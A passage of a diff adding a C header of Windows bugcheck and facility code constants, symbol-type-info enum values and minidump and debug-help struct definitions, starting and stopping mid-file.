0xf005 +#define SAVER_NAVIGATIONMODEL 0xf006 +#define SAVER_OUTOFMEMORY 0xf007 +#define SAVER_GRAPHICS 0xf008 +#define SAVER_NAVSERVERTIMEOUT 0xf009 +#define SAVER_CHROMEPROCESSCRASH 0xf00a +#define SAVER_NOTIFICATIONDISMISSAL 0xf00b +#define SAVER_SPEECHDISMISSAL 0xf00c +#define SAVER_CALLDISMISSAL 0xf00d +#define SAVER_APPBARDISMISSAL 0xf00e +#define SAVER_RILADAPTATIONCRASH 0xf00f +#define SAVER_APPLISTUNREACHABLE 0xf010 +#define SAVER_REPORTNOTIFICATIONFAILURE 0xf011 +#define SAVER_UNEXPECTEDSHUTDOWN 0xf012 +#define SAVER_RPCFAILURE 0xf013 +#define SAVER_AUXILIARYFULLDUMP 0xf014 +#define SAVER_ACCOUNTPROVSVCINITFAILURE 0xf015 +#define SAVER_MTBFCOMMANDTIMEOUT 0x315 +#define SAVER_MTBFCOMMANDHANG 0xf101 +#define SAVER_MTBFPASSBUGCHECK 0xf102 +#define SAVER_MTBFIOERROR 0xf103 +#define SAVER_RENDERTHREADHANG 0xf200 +#define SAVER_RENDERMOBILEUIOOM 0xf201 +#define SAVER_DEVICEUPDATEUNSPECIFIED 0xf300 +#define SAVER_AUDIODRIVERHANG 0xf400 +#define SAVER_BATTERYPULLOUT 0xf500 +#define SAVER_MEDIACORETESTHANG 0xf600 +#define SAVER_RESOURCEMANAGEMENT 0xf700 +#define SAVER_CAPTURESERVICE 0xf800 +#define SAVER_WAITFORSHELLREADY 0xf900 +#define SAVER_NONRESPONSIVEPROCESS 0x194 +#define SAVER_SICKAPPLICATION 0x8866 +#define THREAD_STUCK_IN_DEVICE_DRIVER 0xea +#define THREAD_STUCK_IN_DEVICE_DRIVER_M 0x100000ea +#define DIRTY_MAPPED_PAGES_CONGESTION 0xeb +#define SESSION_HAS_VALID_SPECIAL_POOL_ON_EXIT 0xec +#define UNMOUNTABLE_BOOT_VOLUME 0xed +#define CRITICAL_PROCESS_DIED 0xef +#define STORAGE_MINIPORT_ERROR 0xf0 +#define SCSI_VERIFIER_DETECTED_VIOLATION 0xf1 +#define HARDWARE_INTERRUPT_STORM 0xf2 +#define DISORDERLY_SHUTDOWN 0xf3 +#define CRITICAL_OBJECT_TERMINATION 0xf4 +#define FLTMGR_FILE_SYSTEM 0xf5 +#define PCI_VERIFIER_DETECTED_VIOLATION 0xf6 +#define DRIVER_OVERRAN_STACK_BUFFER 0xf7 +#define RAMDISK_BOOT_INITIALIZATION_FAILED 0xf8 +#define DRIVER_RETURNED_STATUS_REPARSE_FOR_VOLUME_OPEN 0xf9 +#define HTTP_DRIVER_CORRUPTED 0xfa +#define RECURSIVE_MACHINE_CHECK 0xfb +#define ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY 0xfc +#define DIRTY_NOWRITE_PAGES_CONGESTION 0xfd +#define BUGCODE_USB_DRIVER 0xfe +#define BC_BLUETOOTH_VERIFIER_FAULT 0xbfe +#define BC_BTHMINI_VERIFIER_FAULT 0xbff +#define RESERVE_QUEUE_OVERFLOW 0xff +#define LOADER_BLOCK_MISMATCH 0x100 +#define CLOCK_WATCHDOG_TIMEOUT 0x101 +#define DPC_WATCHDOG_TIMEOUT 0x102 +#define MUP_FILE_SYSTEM 0x103 +#define AGP_INVALID_ACCESS 0x104 +#define AGP_GART_CORRUPTION 0x105 +#define AGP_ILLEGALLY_REPROGRAMMED 0x106 +#define KERNEL_EXPAND_STACK_ACTIVE 0x107 +#define THIRD_PARTY_FILE_SYSTEM_FAILURE 0x108 +#define CRITICAL_STRUCTURE_CORRUPTION 0x109 +#define APP_TAGGING_INITIALIZATION_FAILED 0x10a +#define DFSC_FILE_SYSTEM 0x10b +#define FSRTL_EXTRA_CREATE_PARAMETER_VIOLATION 0x10c +#define WDF_VIOLATION 0x10d +#define VIDEO_MEMORY_MANAGEMENT_INTERNAL 0x10e +#define DRIVER_INVALID_CRUNTIME_PARAMETER 0x110 +#define RECURSIVE_NMI 0x111 +#define MSRPC_STATE_VIOLATION 0x112 +#define VIDEO_DXGKRNL_FATAL_ERROR 0x113 +#define VIDEO_SHADOW_DRIVER_FATAL_ERROR 0x114 +#define AGP_INTERNAL 0x115 +#define VIDEO_TDR_FAILURE 0x116 +#define VIDEO_TDR_TIMEOUT_DETECTED 0x117 +#define NTHV_GUEST_ERROR 0x118 +#define VIDEO_SCHEDULER_INTERNAL_ERROR 0x119 +#define EM_INITIALIZATION_ERROR 0x11a +#define DRIVER_RETURNED_HOLDING_CANCEL_LOCK 0x11b +#define ATTEMPTED_WRITE_TO_CM_PROTECTED_STORAGE 0x11c +#define EVENT_TRACING_FATAL_ERROR 0x11d +#define TOO_MANY_RECURSIVE_FAULTS 0x11e +#define INVALID_DRIVER_HANDLE 0x11f +#define BITLOCKER_FATAL_ERROR 0x120 +#define DRIVER_VIOLATION 0x121 +#define WHEA_INTERNAL_ERROR 0x122 +#define CRYPTO_SELF_TEST_FAILURE 0x123 +#define WHEA_UNCORRECTABLE_ERROR 0x124 +#define NMR_INVALID_STATE 0x125 +#define NETIO_INVALID_POOL_CALLER 0x126 +#define PAGE_NOT_ZERO 0x127 +#define WORKER_THREAD_RETURNED_WITH_BAD_IO_PRIORITY 0x128 +#define WORKER_THREAD_RETURNED_WITH_BAD_PAGING_IO_PRIORITY 0x129 +#define MUI_NO_VALID_SYSTEM_LANGUAGE 0x12a +#define FAULTY_HARDWARE_CORRUPTED_PAGE 0x12b +#define EXFAT_FILE_SYSTEM 0x12c +#define VOLSNAP_OVERLAPPED_TABLE_ACCESS 0x12d +#define INVALID_MDL_RANGE 0x12e +#define VHD_BOOT_INITIALIZATION_FAILED 0x12f +#define DYNAMIC_ADD_PROCESSOR_MISMATCH 0x130 +#define INVALID_EXTENDED_PROCESSOR_STATE 0x131 +#define RESOURCE_OWNER_POINTER_INVALID 0x132 +#define DPC_WATCHDOG_VIOLATION 0x133 +#define DRIVE_EXTENDER 0x134 +#define REGISTRY_FILTER_DRIVER_EXCEPTION 0x135 +#define VHD_BOOT_HOST_VOLUME_NOT_ENOUGH_SPACE 0x136 +#define WIN32K_HANDLE_MANAGER 0x137 +#define GPIO_CONTROLLER_DRIVER_ERROR 0x138 +#define KERNEL_SECURITY_CHECK_FAILURE 0x139 +#define KERNEL_MODE_HEAP_CORRUPTION 0x13a +#define PASSIVE_INTERRUPT_ERROR 0x13b +#define INVALID_IO_BOOST_STATE 0x13c +#define CRITICAL_INITIALIZATION_FAILURE 0x13d +#define ERRATA_WORKAROUND_UNSUCCESSFUL 0x13e +#define REGISTRY_CALLBACK_DRIVER_EXCEPTION 0x13f +#define STORAGE_DEVICE_ABNORMALITY_DETECTED 0x140 +#define VIDEO_ENGINE_TIMEOUT_DETECTED 0x141 +#define VIDEO_TDR_APPLICATION_BLOCKED 0x142 +#define PROCESSOR_DRIVER_INTERNAL 0x143 +#define BUGCODE_USB3_DRIVER 0x144 +#define SECURE_BOOT_VIOLATION 0x145 +#define NDIS_NET_BUFFER_LIST_INFO_ILLEGALLY_TRANSFERRED 0x146 +#define ABNORMAL_RESET_DETECTED 0x147 +#define IO_OBJECT_INVALID 0x148 +#define REFS_FILE_SYSTEM 0x149 +#define KERNEL_WMI_INTERNAL 0x14a +#define SOC_SUBSYSTEM_FAILURE 0x14b +#define FATAL_ABNORMAL_RESET_ERROR 0x14c +#define EXCEPTION_SCOPE_INVALID 0x14d +#define SOC_CRITICAL_DEVICE_REMOVED 0x14e +#define PDC_WATCHDOG_TIMEOUT 0x14f +#define TCPIP_AOAC_NIC_ACTIVE_REFERENCE_LEAK 0x150 +#define UNSUPPORTED_INSTRUCTION_MODE 0x151 +#define INVALID_PUSH_LOCK_FLAGS 0x152 +#define KERNEL_LOCK_ENTRY_LEAKED_ON_THREAD_TERMINATION 0x153 +#define UNEXPECTED_STORE_EXCEPTION 0x154 +#define OS_DATA_TAMPERING 0x155 +#define WINSOCK_DETECTED_HUNG_CLOSESOCKET_LIVEDUMP 0x156 +#define KERNEL_THREAD_PRIORITY_FLOOR_VIOLATION 0x157 +#define ILLEGAL_IOMMU_PAGE_FAULT 0x158 +#define HAL_ILLEGAL_IOMMU_PAGE_FAULT 0x159 +#define SDBUS_INTERNAL_ERROR 0x15a +#define WORKER_THREAD_RETURNED_WITH_SYSTEM_PAGE_PRIORITY_ACTIVE 0x15b +#define PDC_WATCHDOG_TIMEOUT_LIVEDUMP 0x15c +#define SOC_SUBSYSTEM_FAILURE_LIVEDUMP 0x15d +#define BUGCODE_NDIS_DRIVER_LIVE_DUMP 0x15e +#define CONNECTED_STANDBY_WATCHDOG_TIMEOUT_LIVEDUMP 0x15f +#define WIN32K_ATOMIC_CHECK_FAILURE 0x160 +#define LIVE_SYSTEM_DUMP 0x161 +#define KERNEL_AUTO_BOOST_INVALID_LOCK_RELEASE 0x162 +#define WORKER_THREAD_TEST_CONDITION 0x163 +#define WIN32K_CRITICAL_FAILURE 0x164 +#define CLUSTER_CSV_STATUS_IO_TIMEOUT_LIVEDUMP 0x165 +#define CLUSTER_RESOURCE_CALL_TIMEOUT_LIVEDUMP 0x166 +#define CLUSTER_CSV_SNAPSHOT_DEVICE_INFO_TIMEOUT_LIVEDUMP 0x167 +#define CLUSTER_CSV_STATE_TRANSITION_TIMEOUT_LIVEDUMP 0x168 +#define CLUSTER_CSV_VOLUME_ARRIVAL_LIVEDUMP 0x169 +#define CLUSTER_CSV_VOLUME_REMOVAL_LIVEDUMP 0x16a +#define CLUSTER_CSV_CLUSTER_WATCHDOG_LIVEDUMP 0x16b +#define INVALID_RUNDOWN_PROTECTION_FLAGS 0x16c +#define INVALID_SLOT_ALLOCATOR_FLAGS 0x16d +#define ERESOURCE_INVALID_RELEASE 0x16e +#define CLUSTER_CSV_STATE_TRANSITION_INTERVAL_TIMEOUT_LIVEDUMP 0x16f +#define CLUSTER_CSV_CLUSSVC_DISCONNECT_WATCHDOG 0x170 +#define CRYPTO_LIBRARY_INTERNAL_ERROR 0x171 +#define SECURE_KERNEL_HIBERNATE_ERROR 0x172 +#define COREMSGCALL_INTERNAL_ERROR 0x173 +#define COREMSG_INTERNAL_ERROR 0x174 +#define PREVIOUS_FATAL_ABNORMAL_RESET_ERROR 0x175 +#define STORAGE_STACK_FATAL_ERROR 0x176 +#define ELAM_DRIVER_DETECTED_FATAL_ERROR 0x178 +#define CLUSTER_CLUSPORT_STATUS_IO_TIMEOUT_LIVEDUMP 0x179 +#define PROFILER_CONFIGURATION_ILLEGAL 0x17b +#define PDC_LOCK_WATCHDOG_LIVEDUMP 0x17c +#define PDC_UNEXPECTED_REVOCATION_LIVEDUMP 0x17d +#define MICROCODE_REVISION_MISMATCH 0x17e +#define HYPERGUARD_INITIALIZATION_FAILURE 0x17f +#define WVR_LIVEDUMP_REPLICATION_IOCONTEXT_TIMEOUT 0x180 +#define WVR_LIVEDUMP_STATE_TRANSITION_TIMEOUT 0x181 +#define WVR_LIVEDUMP_RECOVERY_IOCONTEXT_TIMEOUT 0x182 +#define WVR_LIVEDUMP_APP_IO_TIMEOUT 0x183 +#define WVR_LIVEDUMP_MANUALLY_INITIATED 0x184 +#define WVR_LIVEDUMP_STATE_FAILURE 0x185 +#define WVR_LIVEDUMP_CRITICAL_ERROR 0x186 +#define VIDEO_DWMINIT_TIMEOUT_FALLBACK_BDD 0x187 +#define CLUSTER_CSVFS_LIVEDUMP 0x188 +#define BAD_OBJECT_HEADER 0x189 +#define SILO_CORRUPT 0x18a +#define SECURE_KERNEL_ERROR 0x18b +#define HYPERGUARD_VIOLATION 0x18c +#define SECURE_FAULT_UNHANDLED 0x18d +#define KERNEL_PARTITION_REFERENCE_VIOLATION 0x18e +#define SYNTHETIC_EXCEPTION_UNHANDLED 0x18f +#define WIN32K_CRITICAL_FAILURE_LIVEDUMP 0x190 +#define PF_DETECTED_CORRUPTION 0x191 +#define KERNEL_AUTO_BOOST_LOCK_ACQUISITION_WITH_RAISED_IRQL 0x192 +#define VIDEO_DXGKRNL_LIVEDUMP 0x193 +#define KERNEL_STORAGE_SLOT_IN_USE 0x199 +#define SMB_SERVER_LIVEDUMP 0x195 +#define LOADER_ROLLBACK_DETECTED 0x196 +#define WIN32K_SECURITY_FAILURE 0x197 +#define UFX_LIVEDUMP 0x198 +#define WORKER_THREAD_RETURNED_WHILE_ATTACHED_TO_SILO 0x19a +#define TTM_FATAL_ERROR 0x19b +#define WIN32K_POWER_WATCHDOG_TIMEOUT 0x19c +#define CLUSTER_SVHDX_LIVEDUMP 0x19d +#define BUGCODE_NETADAPTER_DRIVER 0x19e +#define PDC_PRIVILEGE_CHECK_LIVEDUMP 0x19f +#define TTM_WATCHDOG_TIMEOUT 0x1a0 +#define WIN32K_CALLOUT_WATCHDOG_LIVEDUMP 0x1a1 +#define WIN32K_CALLOUT_WATCHDOG_BUGCHECK 0x1a2 +#define CALL_HAS_NOT_RETURNED_WATCHDOG_TIMEOUT_LIVEDUMP 0x1a3 +#define DRIPS_SW_HW_DIVERGENCE_LIVEDUMP 0x1a4 +#define USB_DRIPS_BLOCKER_SURPRISE_REMOVAL_LIVEDUMP 0x1a5 +#define BLUETOOTH_ERROR_RECOVERY_LIVEDUMP 0x1a6 +#define SMB_REDIRECTOR_LIVEDUMP 0x1a7 +#define VIDEO_DXGKRNL_BLACK_SCREEN_LIVEDUMP 0x1a8 +#define DIRECTED_FX_TRANSITION_LIVEDUMP 0x1a9 +#define EXCEPTION_ON_INVALID_STACK 0x1aa +#define UNWIND_ON_INVALID_STACK 0x1ab +#define VIDEO_MINIPORT_FAILED_LIVEDUMP 0x1b0 +#define VIDEO_MINIPORT_BLACK_SCREEN_LIVEDUMP 0x1b8 +#define DRIVER_VERIFIER_DETECTED_VIOLATION_LIVEDUMP 0x1c4 +#define IO_THREADPOOL_DEADLOCK_LIVEDUMP 0x1c5 +#define FAST_ERESOURCE_PRECONDITION_VIOLATION 0x1c6 +#define STORE_DATA_STRUCTURE_CORRUPTION 0x1c7 +#define MANUALLY_INITIATED_POWER_BUTTON_HOLD 0x1c8 +#define USER_MODE_HEALTH_MONITOR_LIVEDUMP 0x1c9 +#define SYNTHETIC_WATCHDOG_TIMEOUT 0x1ca +#define INVALID_SILO_DETACH 0x1cb +#define EXRESOURCE_TIMEOUT_LIVEDUMP 0x1cc +#define INVALID_CALLBACK_STACK_ADDRESS 0x1cd +#define INVALID_KERNEL_STACK_ADDRESS 0x1ce +#define HARDWARE_WATCHDOG_TIMEOUT 0x1cf +#define ACPI_FIRMWARE_WATCHDOG_TIMEOUT 0x1d0 +#define TELEMETRY_ASSERTS_LIVEDUMP 0x1d1 +#define WORKER_THREAD_INVALID_STATE 0x1d2 +#define WFP_INVALID_OPERATION 0x1d3 +#define UCMUCSI_LIVEDUMP 0x1d4 +#define DRIVER_PNP_WATCHDOG 0x1d5 +#define WORKER_THREAD_RETURNED_WITH_NON_DEFAULT_WORKLOAD_CLASS 0x1d6 +#define EFS_FATAL_ERROR 0x1d7 +#define UCMUCSI_FAILURE 0x1d8 +#define HAL_IOMMU_INTERNAL_ERROR 0x1d9 +#define HAL_BLOCKED_PROCESSOR_INTERNAL_ERROR 0x1da +#define IPI_WATCHDOG_TIMEOUT 0x1db +#define DMA_COMMON_BUFFER_VECTOR_ERROR 0x1dc +#define BUGCODE_MBBADAPTER_DRIVER 0x1dd +#define BUGCODE_WIFIADAPTER_DRIVER 0x1de +#define PROCESSOR_START_TIMEOUT 0x1df +#define INVALID_ALTERNATE_SYSTEM_CALL_HANDLER_REGISTRATION 0x1e0 +#define DEVICE_DIAGNOSTIC_LOG_LIVEDUMP 0x1e1 +#define AZURE_DEVICE_FW_DUMP 0x1e2 +#define BREAKAWAY_CABLE_TRANSITION 0x1e3 +#define VIDEO_DXGKRNL_SYSMM_FATAL_ERROR 0x1e4 +#define DRIVER_VERIFIER_TRACKING_LIVE_DUMP 0x1e5 +#define CRASHDUMP_WATCHDOG_TIMEOUT 0x1e6 +#define REGISTRY_LIVE_DUMP 0x1e7 +#define INVALID_THREAD_AFFINITY_STATE 0x1e8 +#define ILLEGAL_ATS_INITIALIZATION 0x1e9 +#define SECURE_PCI_CONFIG_SPACE_ACCESS_VIOLATION 0x1ea +#define DAM_WATCHDOG_TIMEOUT 0x1eb +#define HANDLE_LIVE_DUMP 0x1ec +#define HANDLE_ERROR_ON_CRITICAL_THREAD 0x1ed +#define MPSDRV_QUERY_USER 0x400001ee +#define VMBUS_LIVEDUMP 0x400001ef +#define USB4_HARDWARE_VIOLATION 0x1f0 +#define KASAN_ENLIGHTENMENT_VIOLATION 0x1f1 +#define KASAN_ILLEGAL_ACCESS 0x1f2 +#define IORING 0x1f3 +#define MDL_CACHE 0x1f4 +#define APPLICATION_HANG_KERNEL_LIVEDUMP 0x1f5 +#define MISALIGNED_POINTER_PARAMETER 0x1f6 +#define MSSECCORE_ASSERTION_FAILURE 0x1f7 +#define INVALID_MINIMAL_PROCESS_STATE 0x1f8 +#define PREVIOUS_MODE_MISMATCH 0x1f9 +#define SMB_SRV_REQUEST_VALIDATION_FAILURE 0x1fa +#define IOMMU_INTERRUPT_REMAPPING_FAULT 0x1fb +#define WIN32K_CALLOUT_UNREGISTER_FAILED 0x1fc +#define HAL_SPE_INTERNAL_ERROR 0x1fd +#define SMB_CLIENT_REQUEST_VALIDATION_FAILURE 0x1fe +#define CPU_SCHEDULER_INTERNAL_ERROR 0x200 +#define PROCESS_TERMINATE_LIKELY_DEADLOCK 0x201 +#define UNEXPECTED_CODEPATH 0x202 +#define INVALID_EXTENSION_STATE 0x203 +#define STORAGE_DRIVER_LIVEDUMP 0x207 +#define XBOX_VMCTRL_CS_TIMEOUT 0x356 +#define XBOX_CORRUPTED_IMAGE 0x357 +#define XBOX_INVERTED_FUNCTION_TABLE_OVERFLOW 0x358 +#define XBOX_CORRUPTED_IMAGE_BASE 0x359 +#define XBOX_XDS_WATCHDOG_TIMEOUT 0x35a +#define XBOX_SHUTDOWN_WATCHDOG_TIMEOUT 0x35b +#define XBOX_CANNOT_MANAGE_PARTITION_MEMORY 0x35d +#define XBOX_360_SYSTEM_CRASH 0x360 +#define XBOX_360_SYSTEM_CRASH_RESERVED 0x420 +#define XBOX_SECURITY_FAILUE 0x421 +#define KERNEL_CFG_INIT_FAILURE 0x422 +#define MANUALLY_INITIATED_POWER_BUTTON_HOLD_LIVE_DUMP 0x11c8 +#define HYPERVISOR_ERROR 0x20001 +#define XBOX_MANUALLY_INITIATED_CRASH 0x30006 +#define MANUALLY_INITIATED_BLACKSCREEN_HOTKEY_LIVE_DUMP 0x21c8 +#define WINLOGON_FATAL_ERROR 0xc000021a +#define MANUALLY_INITIATED_CRASH1 0xdeaddead +#define BUGCHECK_CONTEXT_MODIFIER 0x80000000 +#define FACILITY_NULL 0x0 +#define FACILITY_RPC 0x1 +#define FACILITY_DISPATCH 0x2 +#define FACILITY_STORAGE 0x3 +#define FACILITY_ITF 0x4 +#define FACILITY_WIN32 0x7 +#define FACILITY_WINDOWS 0x8 +#define FACILITY_SSPI 0x9 +#define FACILITY_SECURITY 0x9 +#define FACILITY_CONTROL 0xa +#define FACILITY_CERT 0xb +#define FACILITY_INTERNET 0xc +#define FACILITY_MEDIASERVER 0xd +#define FACILITY_MSMQ 0xe +#define FACILITY_SETUPAPI 0xf +#define FACILITY_SCARD 0x10 +#define FACILITY_COMPLUS 0x11 +#define FACILITY_AAF 0x12 +#define FACILITY_URT 0x13 +#define FACILITY_ACS 0x14 +#define FACILITY_DPLAY 0x15 +#define FACILITY_UMI 0x16 +#define FACILITY_SXS 0x17 +#define FACILITY_WINDOWS_CE 0x18 +#define FACILITY_HTTP 0x19 +#define FACILITY_USERMODE_COMMONLOG 0x1a +#define FACILITY_WER 0x1b +#define FACILITY_USERMODE_FILTER_MANAGER 0x1f +#define FACILITY_BACKGROUNDCOPY 0x20 +#define FACILITY_CONFIGURATION 0x21 +#define FACILITY_WIA 0x21 +#define FACILITY_STATE_MANAGEMENT 0x22 +#define FACILITY_METADIRECTORY 0x23 +#define FACILITY_WINDOWSUPDATE 0x24 +#define FACILITY_DIRECTORYSERVICE 0x25 +#define FACILITY_GRAPHICS 0x26 +#define FACILITY_SHELL 0x27 +#define FACILITY_NAP 0x27 +#define FACILITY_TPM_SERVICES 0x28 +#define FACILITY_TPM_SOFTWARE 0x29 +#define FACILITY_UI 0x2a +#define FACILITY_XAML 0x2b +#define FACILITY_ACTION_QUEUE 0x2c +#define FACILITY_PLA 0x30 +#define FACILITY_WINDOWS_SETUP 0x30 +#define FACILITY_FVE 0x31 +#define FACILITY_FWP 0x32 +#define FACILITY_WINRM 0x33 +#define FACILITY_NDIS 0x34 +#define FACILITY_USERMODE_HYPERVISOR 0x35 +#define FACILITY_CMI 0x36 +#define FACILITY_USERMODE_VIRTUALIZATION 0x37 +#define FACILITY_USERMODE_VOLMGR 0x38 +#define FACILITY_BCD 0x39 +#define FACILITY_USERMODE_VHD 0x3a +#define FACILITY_USERMODE_HNS 0x3b +#define FACILITY_SDIAG 0x3c +#define FACILITY_WEBSERVICES 0x3d +#define FACILITY_WINPE 0x3d +#define FACILITY_WPN 0x3e +#define FACILITY_WINDOWS_STORE 0x3f +#define FACILITY_INPUT 0x40 +#define FACILITY_QUIC 0x41 +#define FACILITY_EAP 0x42 +#define FACILITY_IORING 0x46 +#define FACILITY_WINDOWS_DEFENDER 0x50 +#define FACILITY_OPC 0x51 +#define FACILITY_XPS 0x52 +#define FACILITY_MBN 0x54 +#define FACILITY_POWERSHELL 0x54 +#define FACILITY_RAS 0x53 +#define FACILITY_P2P_INT 0x62 +#define FACILITY_P2P 0x63 +#define FACILITY_DAF 0x64 +#define FACILITY_BLUETOOTH_ATT 0x65 +#define FACILITY_AUDIO 0x66 +#define FACILITY_STATEREPOSITORY 0x67 +#define FACILITY_VISUALCPP 0x6d +#define FACILITY_SCRIPT 0x70 +#define FACILITY_PARSE 0x71 +#define FACILITY_BLB 0x78 +#define FACILITY_BLB_CLI 0x79 +#define FACILITY_WSBAPP 0x7a +#define FACILITY_BLBUI 0x80 +#define FACILITY_USN 0x81 +#define FACILITY_USERMODE_VOLSNAP 0x82 +#define FACILITY_TIERING 0x83 +#define FACILITY_WSB_ONLINE 0x85 +#define FACILITY_ONLINE_ID 0x86 +#define FACILITY_DEVICE_UPDATE_AGENT 0x87 +#define FACILITY_DRVSERVICING 0x88 +#define FACILITY_DLS 0x99 +#define FACILITY_DELIVERY_OPTIMIZATION 0xd0 +#define FACILITY_USERMODE_SPACES 0xe7 +#define FACILITY_USER_MODE_SECURITY_CORE 0xe8 +#define FACILITY_USERMODE_LICENSING 0xea +#define FACILITY_SOS 0xa0 +#define FACILITY_OCP_UPDATE_AGENT 0xad +#define FACILITY_DEBUGGERS 0xb0 +#define FACILITY_SPP 0x100 +#define FACILITY_RESTORE 0x100 +#define FACILITY_DMSERVER 0x100 +#define FACILITY_DEPLOYMENT_SERVICES_SERVER 0x101 +#define FACILITY_DEPLOYMENT_SERVICES_IMAGING 0x102 +#define FACILITY_DEPLOYMENT_SERVICES_MANAGEMENT 0x103 +#define FACILITY_DEPLOYMENT_SERVICES_UTIL 0x104 +#define FACILITY_DEPLOYMENT_SERVICES_BINLSVC 0x105 +#define FACILITY_DEPLOYMENT_SERVICES_PXE 0x107 +#define FACILITY_DEPLOYMENT_SERVICES_TFTP 0x108 +#define FACILITY_DEPLOYMENT_SERVICES_TRANSPORT_MANAGEMENT 0x110 +#define FACILITY_DEPLOYMENT_SERVICES_DRIVER_PROVISIONING 0x116 +#define FACILITY_DEPLOYMENT_SERVICES_MULTICAST_SERVER 0x121 +#define FACILITY_DEPLOYMENT_SERVICES_MULTICAST_CLIENT 0x122 +#define FACILITY_DEPLOYMENT_SERVICES_CONTENT_PROVIDER 0x125 +#define FACILITY_HSP_SERVICES 0x128 +#define FACILITY_HSP_SOFTWARE 0x129 +#define FACILITY_LINGUISTIC_SERVICES 0x131 +#define FACILITY_AUDIOSTREAMING 0x446 +#define FACILITY_TTD 0x5d2 +#define FACILITY_ACCELERATOR 0x600 +#define FACILITY_WMAAECMA 0x7cc +#define FACILITY_DIRECTMUSIC 0x878 +#define FACILITY_DIRECT3D10 0x879 +#define FACILITY_DXGI 0x87a +#define FACILITY_DXGI_DDI 0x87b +#define FACILITY_DIRECT3D11 0x87c +#define FACILITY_DIRECT3D11_DEBUG 0x87d +#define FACILITY_DIRECT3D12 0x87e +#define FACILITY_DIRECT3D12_DEBUG 0x87f +#define FACILITY_DXCORE 0x880 +#define FACILITY_PRESENTATION 0x881 +#define FACILITY_LEAP 0x888 +#define FACILITY_AUDCLNT 0x889 +#define FACILITY_WINCODEC_DWRITE_DWM 0x898 +#define FACILITY_WINML 0x890 +#define FACILITY_DIRECT2D 0x899 +#define FACILITY_DEFRAG 0x900 +#define FACILITY_USERMODE_SDBUS 0x901 +#define FACILITY_JSCRIPT 0x902 +#define FACILITY_PIDGENX 0xa01 +#define FACILITY_EAS 0x55 +#define FACILITY_WEB 0x375 +#define FACILITY_WEB_SOCKET 0x376 +#define FACILITY_MOBILE 0x701 +#define FACILITY_SQLITE 0x7af +#define FACILITY_SERVICE_FABRIC 0x7b0 +#define FACILITY_UTC 0x7c5 +#define FACILITY_WEP 0x801 +#define FACILITY_SYNCENGINE 0x802 +#define FACILITY_XBOX 0x923 +#define FACILITY_GAME 0x924 +#define FACILITY_USERMODE_UNIONFS 0x925 +#define FACILITY_USERMODE_PRM 0x926 +#define FACILITY_USERMODE_WIN_ACCEL 0x927 +#define FACILITY_PPF 0x928 +#define FACILITY_PIX 0xabc +#define FACILITY_NT_BIT 0x10000000 +#define sevInfo 0x0 +#define sevProblem 0x1 +#define sevAttn 0x2 +#define sevFatal 0x3 +#define IMAGEHLP_GET_TYPE_INFO_CHILDREN 0x2 +#define IMAGEHLP_GET_TYPE_INFO_UNCACHED 0x1 +#define TI_GET_SYMTAG 0 +#define TI_GET_SYMNAME 1 +#define TI_GET_LENGTH 2 +#define TI_GET_TYPE 3 +#define TI_GET_TYPEID 4 +#define TI_GET_BASETYPE 5 +#define TI_GET_ARRAYINDEXTYPEID 6 +#define TI_FINDCHILDREN 7 +#define TI_GET_DATAKIND 8 +#define TI_GET_ADDRESSOFFSET 9 +#define TI_GET_OFFSET 10 +#define TI_GET_VALUE 11 +#define TI_GET_COUNT 12 +#define TI_GET_CHILDRENCOUNT 13 +#define TI_GET_BITPOSITION 14 +#define TI_GET_VIRTUALBASECLASS 15 +#define TI_GET_VIRTUALTABLESHAPEID 16 +#define TI_GET_VIRTUALBASEPOINTEROFFSET 17 +#define TI_GET_CLASSPARENTID 18 +#define TI_GET_NESTED 19 +#define TI_GET_SYMINDEX 20 +#define TI_GET_LEXICALPARENT 21 +#define TI_GET_ADDRESS 22 +#define TI_GET_THISADJUST 23 +#define TI_GET_UDTKIND 24 +#define TI_IS_EQUIV_TO 25 +#define TI_GET_CALLING_CONVENTION 26 +#define TI_IS_CLOSE_EQUIV_TO 27 +#define TI_GTIEX_REQS_VALID 28 +#define TI_GET_VIRTUALBASEOFFSET 29 +#define TI_GET_VIRTUALBASEDISPINDEX 30 +#define TI_GET_IS_REFERENCE 31 +#define TI_GET_INDIRECTVIRTUALBASECLASS 32 +#define TI_GET_VIRTUALBASETABLETYPE 33 +#define TI_GET_OBJECTPOINTERTYPE 34 +#define TI_GET_DISCRIMINATEDUNION_TAG_TYPEID 35 +#define TI_GET_DISCRIMINATEDUNION_TAG_OFFSET 36 +#define TI_GET_DISCRIMINATEDUNION_TAG_RANGESCOUNT 37 +#define TI_GET_DISCRIMINATEDUNION_TAG_RANGES 38 +#define IMAGEHLP_SYMBOL_TYPE_INFO_MAX 39 + +typedef struct _MINIDUMP_MISC_INFO_2 { + unsigned int SizeOfInfo; + unsigned int Flags1; + unsigned int ProcessId; + unsigned int ProcessCreateTime; + unsigned int ProcessUserTime; + unsigned int ProcessKernelTime; + unsigned int ProcessorMaxMhz; + unsigned int ProcessorCurrentMhz; + unsigned int ProcessorMhzLimit; + unsigned int ProcessorMaxIdleState; + unsigned int ProcessorCurrentIdleState; +} MINIDUMP_MISC_INFO_2; + +typedef struct _MINIDUMP_FUNCTION_TABLE_STREAM { + unsigned int SizeOfHeader; + unsigned int SizeOfDescriptor; + unsigned int SizeOfNativeDescriptor; + unsigned int SizeOfFunctionEntry; + unsigned int NumberOfDescriptors; + unsigned int SizeOfAlignPad; +} MINIDUMP_FUNCTION_TABLE_STREAM; + +typedef struct _WOW64_LDT_ENTRY { + unsigned short LimitLow; + unsigned short BaseLow; + void* HighWord; +} WOW64_LDT_ENTRY; + +typedef struct _PHYSICAL_MEMORY_DESCRIPTOR32 { + unsigned int NumberOfRuns; + unsigned int NumberOfPages; + void* Run[1]; +} PHYSICAL_MEMORY_DESCRIPTOR32; + +typedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOADW64 { + unsigned int SizeOfStruct; + unsigned long long BaseOfImage; + unsigned int CheckSum; + unsigned int TimeDateStamp; + unsigned short FileName[261]; + BOOL Reparse; + void* hFile; + unsigned int Flags; +} IMAGEHLP_DEFERRED_SYMBOL_LOADW64; + +typedef struct _IMAGEHLP_LINE64 { + unsigned int SizeOfStruct; + void* Key; + unsigned int LineNumber; + void* FileName; + unsigned long long Address; +} IMAGEHLP_LINE64; + +typedef struct _WHEA_GENERIC_ERROR_DESCRIPTOR { + unsigned short Type; + unsigned char Reserved; + unsigned char Enabled; + unsigned int ErrStatusBlockLength; + unsigned int RelatedErrorSourceId; + unsigned char ErrStatusAddressSpaceID; + unsigned char ErrStatusAddressBitWidth; + unsigned char ErrStatusAddressBitOffset; + unsigned char 